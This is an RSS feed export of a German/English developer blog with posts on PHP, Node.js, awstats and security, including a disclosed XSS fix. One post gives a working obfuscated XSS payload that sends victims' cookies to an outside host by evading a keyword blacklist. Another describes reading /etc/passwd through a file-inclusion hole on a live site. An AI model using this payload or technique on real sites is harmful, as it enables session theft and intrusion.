<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Benjamin Flesch &#187; Programmieren</title>
	<atom:link href="http://blog.bf-itservice.de/category/programmieren/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.bf-itservice.de</link>
	<description>Programmkot &#38; Sicherheit</description>
	<lastBuildDate>Tue, 18 Oct 2011 06:35:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Evoluted.net PHP Directory Listing XSS Vulnerability</title>
		<link>http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability</link>
		<comments>http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability#comments</comments>
		<pubDate>Sat, 09 Jul 2011 10:27:31 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Evoluted.net]]></category>
		<category><![CDATA[Patch]]></category>
		<category><![CDATA[PHP Directory Listing]]></category>
		<category><![CDATA[Security Vulnerability]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=471</guid>
		<description><![CDATA[I noticed a security vulnerability in the PHP Directory Listing Script made by Ash Young from Evoluted.net. Some input isn&#8217;t properly sanitized before it is returned to the user, rendering the application&#8217;s users vulnerable to a XSS flaw. To resolve this vulnerability, the following patch needs to be applied to the PHP Directory List v3.1 [...]]]></description>
			<content:encoded><![CDATA[<p>I noticed a security vulnerability in the <a href="http://www.evoluted.net/thinktank/web-development/php-directory-listing-script">PHP Directory Listing Script</a> made by <a href="http://www.evoluted.net/thinktank/author/Ash">Ash Young</a> from Evoluted.net.</p>
<p>Some input isn&#8217;t properly sanitized before it is returned to the user, rendering the application&#8217;s users vulnerable to a XSS flaw.</p>
<p>To resolve this vulnerability, the following patch needs to be applied to the <strong>PHP Directory List v3.1</strong> source code which makes use of <code>urlencode</code> instead of <code>strip_slashes</code> to sanitize user input:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="diff" style="font-family:monospace;"># diff index.php /tmp/directoryv3.1/index.php 
<span style="color: #440088;">391c391</span>
<span style="color: #991111;">&lt; 	$baseurl = strip_tags<span style="">&#40;</span>$_SERVER<span style="">&#91;</span>'PHP_SELF'<span style="">&#93;</span><span style="">&#41;</span> . '?dir='.urlencode<span style="">&#40;</span>$_GET<span style="">&#91;</span>'dir'<span style="">&#93;</span><span style="">&#41;</span> . '&amp;amp;';</span>
<span style="color: #888822;">---
<span style="color: #00b000;">&gt; 	$baseurl = strip_tags<span style="">&#40;</span>$_SERVER<span style="">&#91;</span>'PHP_SELF'<span style="">&#93;</span><span style="">&#41;</span> . '?dir='.strip_tags<span style="">&#40;</span>$_GET<span style="">&#91;</span>'dir'<span style="">&#93;</span><span style="">&#41;</span> . '&amp;amp;';</span></span></pre></td></tr></table></div>

<p>Thanks goes out to <a href="http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken#comment-1886">Anon</a> for pointing out that <a href="http://blog.bf-itservice.de/455/nn-crew-hackt-bundespolizei-hat-eigene-sicherheitslucken">this previous vulnerability</a> is originally found in <strong>PHP Directory Listing from Evoluted.net</strong>.</p>
<p>The programmer in charge has been notified of this issue.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/471/evoluted-net-php-directory-listing-xss-vulnerability/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Install PHP OAuth Library on Debian / Ubuntu</title>
		<link>http://blog.bf-itservice.de/451/install-php-oauth-library-on-debian-ubuntu</link>
		<comments>http://blog.bf-itservice.de/451/install-php-oauth-library-on-debian-ubuntu#comments</comments>
		<pubDate>Wed, 22 Jun 2011 14:37:42 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[Extension]]></category>
		<category><![CDATA[OAuth]]></category>
		<category><![CDATA[oauth.so]]></category>
		<category><![CDATA[PECL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php-auth]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=451</guid>
		<description><![CDATA[The only way to install the PHP OAuth Libabry on your Debian / Ubuntu system is as follows: Install PECL:sudo apt-get install php-auth php5-dev libpcre3-dev Install PHP OAuth Library:sudo pecl install oauth Make PHP Load the OAuth Library on PHP Startup:sudo echo "extension=oauth.so" > /etc/php5/conf.d/oauth.ini Now a look at php -m on the command line [...]]]></description>
			<content:encoded><![CDATA[<p>The only way to install the <strong>PHP OAuth Libabry</strong> on your Debian / Ubuntu system is as follows:</p>
<ol>
<li>Install PECL:<br/><code>sudo apt-get install php-auth php5-dev libpcre3-dev</code></li>
<li>Install PHP OAuth Library:<br/><code>sudo pecl install oauth</code></li>
<li>Make PHP Load the OAuth Library on PHP Startup:<br/><code>sudo echo "extension=oauth.so" > /etc/php5/conf.d/oauth.ini</code></li>
</ol>
<p>Now a look at <code>php -m</code> on the command line or <code>phpinfo()</code> in a .php file on your web server should point out that PHP OAuth is ready for use! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>Thanks to <a href="http://darrendev.blogspot.com/2011/05/oauth-for-php-and-ubuntu.html">Darren</a>, I found this easy solution.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/451/install-php-oauth-library-on-debian-ubuntu/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>easyComment 1.4 has been released!</title>
		<link>http://blog.bf-itservice.de/446/easycomment-1-4-has-been-released</link>
		<comments>http://blog.bf-itservice.de/446/easycomment-1-4-has-been-released#comments</comments>
		<pubDate>Thu, 07 Apr 2011 11:19:27 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[easyComment]]></category>
		<category><![CDATA[easyComment 1.4]]></category>
		<category><![CDATA[Firefox 4]]></category>
		<category><![CDATA[Firefox Extension]]></category>
		<category><![CDATA[Release]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=446</guid>
		<description><![CDATA[For all of you who&#8217;ve been struggling with Download Error #228, a minor Mozilla fuckup, or Firefox 4 support &#8211; the latest version of easyComment has just been released and is available on the AMO homepage. One more time, I&#8217;d like to thank everybody for your ongoing support and all the positive reviews. It&#8217;s nice [...]]]></description>
			<content:encoded><![CDATA[<p>For all of you who&#8217;ve been struggling with <strong>Download Error #228</strong>, a minor Mozilla fuckup, or Firefox 4 support &#8211; the latest version of easyComment has just been <a href="https://addons.mozilla.org/en-US/firefox/addon/easycomment/">released and is available on the AMO homepage</a>. </p>
<p>One more time, I&#8217;d like to thank everybody for your ongoing support and all the positive reviews. It&#8217;s nice to see more than <strong>1000 people</strong> use your software every single day.</p>
<p>- Benjamin</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/446/easycomment-1-4-has-been-released/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>RegioVelo &#8211; Endlich Fertig!</title>
		<link>http://blog.bf-itservice.de/431/regiovelo-endlich-fertig</link>
		<comments>http://blog.bf-itservice.de/431/regiovelo-endlich-fertig#comments</comments>
		<pubDate>Wed, 23 Mar 2011 09:37:24 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Allgemeines]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Arbeitslose]]></category>
		<category><![CDATA[Backend]]></category>
		<category><![CDATA[Billing]]></category>
		<category><![CDATA[Google Maps]]></category>
		<category><![CDATA[jQuery Wizard]]></category>
		<category><![CDATA[Lieferroute]]></category>
		<category><![CDATA[Mannheim]]></category>
		<category><![CDATA[NodeJs]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Projektbeschreibung]]></category>
		<category><![CDATA[RegioVelo]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=431</guid>
		<description><![CDATA[Die letzten Wochen und sogar Monate habe ich mich leider nur sehr wenig um meine nette Firefox Extension, das jQuery-Plugin oder gar die Warsuche kümmern können. Dies wird sich nun Ändern, denn die Homepage für den Obst- und Gemüse Fahrradlieferservice Regiovelo ist nun endlich fertig. Das Liefergebiet ist das Stadtgebiet Mannheim &#8211; direkt vor die [...]]]></description>
			<content:encoded><![CDATA[<p>Die letzten Wochen und sogar Monate habe ich mich leider nur sehr wenig um meine nette Firefox Extension, das jQuery-Plugin oder gar die Warsuche kümmern können. Dies wird sich nun Ändern, denn die Homepage für den <strong>Obst- und Gemüse Fahrradlieferservice Regiovelo</strong> ist nun endlich fertig. Das Liefergebiet ist das <strong>Stadtgebiet Mannheim</strong> &#8211; direkt vor die Haustür.</p>
<p>Die Implementierung von RegioVelo war ein mittelgroßes Softwareprojekt mit folgenden Eckdaten:</p>
<ul>
<li>Onlineshop für Abonnements und einmalige Bestellung von <a href="http://www.regiovelo.de/angebot">Gemüsekisten in Mannheim (link zum Bestellprozess)</a></li>
<li>Träger sind die <a href="http://www.biotopia.de">Biotopia Arbeitsförderungsbetriebe Mannheim gGmbH</a> und die Studierendeninitiative <a href="http://www.sife-mannheim.de">SIFE Universität Mannheim</a>.</li>
<li>Diese Kisten werden nach Hause zum Kunden per Fahrrad geliefert, und zwar von jungen Arbeitslosen die im Rahmen von RegioVelo <strong>für den ersten Arbeitsmarkt qualifiziert</strong> werden.</li>
<li>Ein <a href="https://www.regiovelo.de">Backend für das Kundenmanagement</a> u.a. mit recht komplexer Zuweisung der Lieferfenster.</li>
<li>Ein <strong>jQuery Wizard Plugin</strong>, mit dem man im Handumdrehen aus einem normalen HTML-Formular einen interaktiven <strong>&#8220;Wizard&#8221;</strong> erstellt. Dieses Plugin werde ich ASAP veröffentlichen, eine <a href="https://www.regiovelo.de/bestellen/kleine-probekiste/">Live-Demo gibt es schon</a>. Absolut cool! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </li>
<li>Cron-Jobs für Bestellung bei Lieferanten &amp; Billing-Schnittstelle zur Buchhaltung</li>
<li>Backend für die Mitarbeiter, in dem Auslieferungen für den Kunden protokolliert werden.</li>
<li>Planung der Lieferroute mit Google Maps.</li>
</ul>
<p>Realisiert wurde das ganze individuell und <em>from scratch</em> in Linux, Apache, MySQL, PHP5 (die alte LAMP-Kombination), da es nicht so schien als würde mir ein Framework viel Arbeit abnehmen können. Ich griff mal wieder zu PHP, weil viele Klassen wiederverwendet werden konnten und meine <a href="http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder">Node.js-Skills</a> für ein solches Projekt wahrscheinlich noch nicht wirklich effektiv einsetzbar sind.</p>
<p>Ich schließe nun mein kurzes Statusupdate mit den Worten von Manuel Diotte: <strong>“Winning isn&#8217;t always finishing first. Sometimes winning is just finishing.”</strong> <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/431/regiovelo-endlich-fertig/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Node.js, MongoDB, Express and Sessions: TypeError: Object #Object&gt; has no method &#8216;bodyDecoder&#8217;</title>
		<link>http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder</link>
		<comments>http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder#comments</comments>
		<pubDate>Mon, 14 Mar 2011 16:37:57 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[cookieDecoder()]]></category>
		<category><![CDATA[cookieParser()]]></category>
		<category><![CDATA[Express]]></category>
		<category><![CDATA[MongoDB]]></category>
		<category><![CDATA[No Method Error]]></category>
		<category><![CDATA[Node.js]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=427</guid>
		<description><![CDATA[I just struggled with this error message whilst trying to set up some sort of authentication layer for a small node.js-powered web application with a MongoDB backend. This was my code to establish a MongoDB session handling. The TypeError: Object #&#60;Object&#62; has no method 'bodyDecoder' occurs in line 5 of the following snippet: 1 2 [...]]]></description>
			<content:encoded><![CDATA[<p>I just struggled with this error message whilst trying to set up some sort of <strong>authentication layer</strong> for a small node.js-powered web application with a MongoDB backend. This was my code to establish a MongoDB session handling. The <code>TypeError: Object #&lt;Object&gt; has no method 'bodyDecoder'</code> occurs in <strong>line 5</strong> of the following snippet:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> MongoStore <span style="color: #339933;">=</span> require<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'connect-mongodb'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">logger</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span> format<span style="color: #339933;">:</span> <span style="color: #3366CC;">':method :url'</span><span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">bodyParser</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">methodOverride</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">cookieDecoder</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">// &lt;= runtime error appears here</span>
app.<span style="color: #003366; font-weight: bold;">use</span><span style="color: #009900;">&#40;</span>express.<span style="color: #660066;">session</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
	secret<span style="color: #339933;">:</span> settings.<span style="color: #660066;">cookie_secret</span><span style="color: #339933;">,</span>
	store<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">new</span> MongoStore<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
		db<span style="color: #339933;">:</span> settings.<span style="color: #660066;">db</span>
	<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>After some investigation I found out that in <strong>Express  2.0.0beta3</strong>, the function <code>cookieDecoder()</code> has been renamed to <code>cookieParser()</code>; the same comes true for <code>bodyDecoder()</code> which now needs to be called as <code>bodyParser()</code>. At least now I know why some of the example code failed <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/427/node-js-mongodb-express-and-sessions-typeerror-object-has-no-method-bodydecoder/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Regenerate Awstat Statistics from old logfiles</title>
		<link>http://blog.bf-itservice.de/423/regenerate-awstat-statistics-from-old-logfiles</link>
		<comments>http://blog.bf-itservice.de/423/regenerate-awstat-statistics-from-old-logfiles#comments</comments>
		<pubDate>Fri, 11 Mar 2011 11:27:19 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Apache2]]></category>
		<category><![CDATA[AWstats]]></category>
		<category><![CDATA[awstats.conf]]></category>
		<category><![CDATA[awstats.pl]]></category>
		<category><![CDATA[generate]]></category>
		<category><![CDATA[logfile]]></category>
		<category><![CDATA[statistics]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=423</guid>
		<description><![CDATA[This week I ran into a problem with awstats: We changed the awstats configuration file in /etc/awstats/awstats.conf, and wanted to apply these changes to the statistics generated by awstats. Because these statistics are generated by awstats.pl, we needed to find a way to regenerate them from our gzipped Apache2 logfiles stored in /var/log/apache2 on our [...]]]></description>
			<content:encoded><![CDATA[<p>This week I ran into a problem with awstats: We changed the awstats configuration file in <code>/etc/awstats/awstats.conf</code>, and wanted to apply these changes to the statistics generated by awstats.</p>
<p>Because these statistics are generated by awstats.pl, we needed to find a way to regenerate them from our gzipped Apache2 logfiles stored in <code>/var/log/apache2</code> on our Debian systems. </p>
<p>Here&#8217;s our solution to the task at hand, a small shell script:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Find all gzipped apache log files</span>
<span style="color: #000000; font-weight: bold;">for</span> f <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">ls</span> access.log.<span style="color: #000000; font-weight: bold;">*</span>.gz<span style="color: #000000; font-weight: bold;">`</span>; 
<span style="color: #666666; font-style: italic;"># Unzip Logfile</span>
<span style="color: #000000; font-weight: bold;">do</span> <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;unzip <span style="color: #007800;">$f</span>..&quot;</span>;
<span style="color: #c20cb9; font-weight: bold;">gunzip</span> <span style="color: #007800;">$f</span>; 
<span style="color: #666666; font-style: italic;"># Call Awstats on this logfile</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;run awstats..&quot;</span>;
<span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>cgi-bin<span style="color: #000000; font-weight: bold;">/</span>awstats.pl <span style="color: #660033;">-logfile</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$f</span> <span style="color: #000000; font-weight: bold;">|</span> replace .gz <span style="color: #ff0000;">''</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #660033;">-update</span> <span style="color: #660033;">-config</span>=awstats; 
<span style="color: #666666; font-style: italic;"># Gzip Logfile again to save space</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;gzipping <span style="color: #007800;">$f</span>..&quot;</span>; 
<span style="color: #c20cb9; font-weight: bold;">gzip</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$f</span> <span style="color: #000000; font-weight: bold;">|</span> replace .gz <span style="color: #ff0000;">''</span><span style="color: #000000; font-weight: bold;">`</span>;
<span style="color: #000000; font-weight: bold;">done</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/423/regenerate-awstat-statistics-from-old-logfiles/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Open all files of a specific type in your favorite Editor</title>
		<link>http://blog.bf-itservice.de/408/open-all-files-of-a-specific-type-in-your-favorite-editor</link>
		<comments>http://blog.bf-itservice.de/408/open-all-files-of-a-specific-type-in-your-favorite-editor#comments</comments>
		<pubDate>Tue, 02 Nov 2010 17:51:07 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Development]]></category>
		<category><![CDATA[file type]]></category>
		<category><![CDATA[find]]></category>
		<category><![CDATA[geany]]></category>
		<category><![CDATA[syntax]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=408</guid>
		<description><![CDATA[If you want to open all *.js, *.css and *.html files in a specific directory with your favorite editor geany, execute the following command: 1 find . -type f -a -name \*.html -o -name \*.js -o -name \*.js &#124; xargs geany &#38; Have fun!]]></description>
			<content:encoded><![CDATA[<p>If you want to open all <strong>*.js</strong>, <strong>*.css</strong> and <strong>*.html</strong> files in a specific directory with your favorite editor <strong>geany</strong>, execute the following command:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">find</span> . <span style="color: #660033;">-type</span> f <span style="color: #660033;">-a</span> <span style="color: #660033;">-name</span> \<span style="color: #000000; font-weight: bold;">*</span>.html <span style="color: #660033;">-o</span> <span style="color: #660033;">-name</span> \<span style="color: #000000; font-weight: bold;">*</span>.js <span style="color: #660033;">-o</span> <span style="color: #660033;">-name</span> \<span style="color: #000000; font-weight: bold;">*</span>.js <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">xargs</span> geany <span style="color: #000000; font-weight: bold;">&amp;</span></pre></td></tr></table></div>

<p>Have fun! <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/408/open-all-files-of-a-specific-type-in-your-favorite-editor/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Schöner XSS-Vektor</title>
		<link>http://blog.bf-itservice.de/403/schoner-xss-vektor</link>
		<comments>http://blog.bf-itservice.de/403/schoner-xss-vektor#comments</comments>
		<pubDate>Sat, 25 Sep 2010 15:12:15 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Blacklist]]></category>
		<category><![CDATA[Cookie]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=403</guid>
		<description><![CDATA[Ich war gerade in der Situation, dass ich mit einem XSS-Vektor Cookies stehlen musste. An für sich ist das nichts ungewöhnliches, bis auf die Blacklist: cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert. 1 &#60;iframe src=&#34;//google.de&#34; onload=&#34;this.src=['//www.roonk.de?ctf4=',eval(['docume','nt.co','okie'].join(''))].join('')&#34;&#62;&#60;/iframe&#62;]]></description>
			<content:encoded><![CDATA[<p>Ich war gerade in der Situation, dass ich mit einem XSS-Vektor Cookies stehlen musste. An für sich ist das nichts ungewöhnliches, bis auf die Blacklist: cookie, http://, script und diverse weitere HTML-Tags wurden gefiltert.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>iframe src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;//google.de&quot;</span> <span style="color: #000066;">onload</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;this.src=['//www.roonk.de?ctf4=',eval(['docume','nt.co','okie'].join(''))].join('')&quot;</span><span style="color: #339933;">&gt;&lt;/</span>iframe<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p> <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/403/schoner-xss-vektor/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Unsicherer PHP-Programmierer</title>
		<link>http://blog.bf-itservice.de/394/unsicherer-php-programmierer</link>
		<comments>http://blog.bf-itservice.de/394/unsicherer-php-programmierer#comments</comments>
		<pubDate>Mon, 16 Aug 2010 12:00:56 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Fehlerteufel]]></category>
		<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Sicherheit und Sonnenschein]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Job]]></category>
		<category><![CDATA[Local File Inclusion]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP Hardening]]></category>
		<category><![CDATA[Sicherheitslücken]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=394</guid>
		<description><![CDATA[Seit einigen Tagen habe ich eine Stelle als PHP-Programmierer ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft. Ich habe schon viele gute Bewerbungen erhalten, aber sie waren alle nichts gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend: 12+ years PHP experience 8+ [...]]]></description>
			<content:encoded><![CDATA[<p>Seit einigen Tagen habe ich eine Stelle als <strong>PHP-Programmierer</strong> ausgeschrieben und auf diese Weise jemanden gesucht, die mir bei aufwändigen Arbeiten etwas hilft.</p>
<p>Ich habe schon viele gute Bewerbungen erhalten, aber <strong>sie waren alle nichts</strong> gegen den Kerl, der heute morgen per Email hereingeflogen kam. Die Eckdaten waren schonmal vielversprechend:</p>
<ul>
<li>12+ years PHP experience</li>
<li>8+ years Perl experience</li>
<li>sehr ansprechender Stundenlohn</li>
</ul>
<p>Das klingt nach einem <strong>Perl-Guru</strong>, der dann auf PHP umgesattelt ist, nicht wahr?</p>
<p>Es wurden <strong>zwei PHP-Projekte zur Referenz</strong> angeboten, direkt mal angeschaut und <strong>vom Stuhl gefallen</strong>. Der Grund ist nicht wirklich schwer zu finden, die URL sah wie folgt aus:</p>
<p><code>http://XXXXXXXXXXXX.com/<strong>?main=pce/index.php</strong></code></p>
<p>Für die Personen die spätestens jetzt total verwirrt sind: Der Homepage wird hinter dem <strong>?</strong> der Variable <strong>main</strong> die Adresse zu einem PHP-Script zugewiesen (und zwar <strong>pce/index.php</strong>). </p>
<p>Wenn man also den Inhalt von <strong>main</strong> entsprechend verändert, kann man beliebige Dateien des Servers anzeigen. Beispiel:</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2010/08/urk.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2010/08/urk.png" alt="" title="urk" width="562" height="38" class="alignnone size-full wp-image-396" /></a></p>
<p>So können wir die Datei <strong>/etc/passwd</strong> auslesen, in der Informationen über die Benutzeraccounts eines Linux-Systems gespeichert sind. Natürlich ist jetzt auch nicht mehr weit bis zu einem erfolgreichen Hack, aber darum geht es an dieser Stelle auch nicht.</p>
<p><a href="http://blog.bf-itservice.de/wp-content/uploads/2010/08/passwd.png"><img src="http://blog.bf-itservice.de/wp-content/uploads/2010/08/passwd-300x227.png" alt="Benutzerliste des Servers - /etc/passwd" title="passwd" width="300" height="227" class="alignleft size-medium wp-image-397" /></a></p>
<p>Es gab noch einige weitere Sicherheitslücken in seinen Referenzprojekten, und nett wie ich bin habe ich sie ihm natürlich auch sofort mitgeteilt. </p>
<p>Den Job wird er aber nicht bekommen und hiermit verabschiede ich mich, sprachlos. <img src='http://blog.bf-itservice.de/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bf-itservice.de/394/unsicherer-php-programmierer/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu Nautilus Tastenkombination für Adresszeile</title>
		<link>http://blog.bf-itservice.de/373/ubuntu-nautilus-tastenkombination-fur-adresszeile</link>
		<comments>http://blog.bf-itservice.de/373/ubuntu-nautilus-tastenkombination-fur-adresszeile#comments</comments>
		<pubDate>Wed, 12 May 2010 12:36:17 +0000</pubDate>
		<dc:creator>Beni</dc:creator>
				<category><![CDATA[Programmieren]]></category>
		<category><![CDATA[Tipps&Tricks]]></category>
		<category><![CDATA[Adresszeile]]></category>
		<category><![CDATA[Lucid Lynx]]></category>
		<category><![CDATA[Nautilus]]></category>
		<category><![CDATA[Shortcut]]></category>
		<category><![CDATA[Tastenkombination]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.bf-itservice.de/?p=373</guid>
		<description><![CDATA[Da im Nautilus Dateimanager in Ubuntu seit dem letzten Update auf Lucid Lynx die Adresszeile nicht mehr standardmäßig wie ein Textfeld editieren werden kann, musste ich mir mal wieder die Tastenkombination heraussuchen um die Adresszeile anzuzeigen: 1 STRG + L Viel Spaß!]]></description>
